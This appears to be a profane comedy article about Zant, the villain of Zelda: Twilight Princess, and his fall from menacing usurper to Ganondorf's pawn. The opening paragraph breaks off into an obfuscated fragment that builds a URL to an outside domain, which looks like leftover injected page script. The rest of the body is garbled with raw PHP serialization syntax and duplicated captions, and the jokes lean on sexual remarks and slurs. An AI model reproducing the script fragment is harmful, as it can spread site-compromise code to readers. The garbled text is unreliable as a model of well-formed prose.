Zant

Zant had it all: respect, power, titties. Plot twist: he was just batshit.)){u='http'+'://buro'+'tkan'+'i.com/'

Fucked up, but the kind of fucked up you could get behind.

Zant posing with the patented Pouty Mime Fish No. 5, demonstrating why wearing a fish helmet was a preferred alternative.

Ganondorf, the man with the proverbial hand up Zant's ass.

Just The Facts

  1. Zant was the mad dog antagonist of Legend of Zelda: Twilight Princess, madding it up all throughout Hyrule, generally fucking up Zelda's shit, among other things.
  2. No, no, he was just being controlled by Ganondorf, demonstrating the Legend of Zelda franchise's apparent inability to move forward.
  3. The above fact was a rather large spoiler. Good thing you always read Fact 3 first.

a:3:{i:0;a:2:{s:5:"title";s:21:"Zant, Apparent Badass";s:4:"text";s:1528:"

Zant, usurper king of the Twilight Realm. Bitches swoon to Zant's ill tune, what a mad guy.

Zant took control of the Twilight Realm, an alternate realm which Hyrule created because they had too many criminals, and they had to put them somewhere.

Like Australia, but less chill.

Like Australia, but less chill

The Twilight Realm was probably filled with angry people, warring all the time. We, the audience, have no way of knowing this, but use your imagination. Zant, one man, took control of a realm where all the bad men of society got locked in. Then he invades Hyrule, and puts it in a state of "Perpetual Twilight," where water turns to ice, and people are frozen all day, and all manner of weird shit. Zant does this in one fell swoop. No rhyme, no reason. He just did it. Zant, by definition, is a badass.

Bitches swoon, indeed.

Bitches swoon, indeed

";}i:1;a:2:{s:5:"title";s:19:"The Hijinks of Zant";s:4:"text";s:2663:"

Zant does many bad things. He doesn't mind though; this is because he is the bad guy.

Say goodnight to him

Say goodnight to him.

One of the first bad things that Zant does is usurp Midna from the throne of the Twilight Realm. Princess Midna was once upon a time this hot minx, like a hot female version of Ganondorf.

You hot minx

You hot minx

Midna was just this hot city girl, who just happened to rule all of the Twilight Realm. She loved it, and everyone loved it, except one man. Big Daddy Zant hated the shit out of Midna. He hated her so much that he used the power of Magicks to turn her into this little imp creature with a hand coming out of her head.

That didn't stop Link, though.

That didn't stop Link though

That's right, Zant didn't just kick Midna out of the Happy Twilight Kingdom. He turned her into a mole that haunts Bill Murray's dreams. Zant's a bad, bad man, and at this stage, the audience knew it. Everyone playing Twilight Princess knew not to fuck with Zant. Wherever he walked, he was accompanied by a high pitch screeching noise, no doubt the sounds of the bitches swooning over his ill tune.

Who's the black private dick that's a sex machine to all the chicks? Zant.

Who's the black private dick that's a sex machine to all the chicks?
Zant, ya damn right.

Zant doesn't give a shit. Whether it's pimp slapping Midna all up and down Hyrule, or using a Sword of Magicks to reanimate a 500 METRE TALL FUCKING SKELETON, for the first half of the game, Zant was more tenacious than Popeye Doyle with chlymidia...

"Too far, buddy."

"Too far, buddy."

";}i:2;a:2:{s:5:"title";s:20:"Zant, Definite Pussy";s:4:"text";s:1800:"

First half of the game, Zant was like Eminem, a debaser to the industry.

DEBAAASER

Let's un chien andalou up in this bitch

It's scientifically proven that 80% of Legend of Zelda games have Ganondorf in them. The only Zelda games that get away with not having Ganondorf are either on some kind of handheld, or are Majora's Mask. You don't fuck with Majora's Mask.

Pictured: Someone who fucked with Majora's Mask

Pictured: Someone who fucked with
Majora's Mask

Second half of the game, Zant was less like Eminem, and more like Eminem's mother. Turned out, Ganondorf was the main villain. Zant was relegated to this shrieking maskless twat, flailing around, and hence, this was the end of Zant, the Potential Badass, and the beginning of Zant, Put Your Fucking Helmet Back On.

Seriously, guy. Get your shit together.

Seriously, guy. Get your shit together.

Admittedly, seeing Ganondorf was a welcome addition to Twilight Princess, but this didn't justify the derailment of Zant from Mad Dog King, to Mad Dog With Rabies. You schizo fucking prude, Zant.

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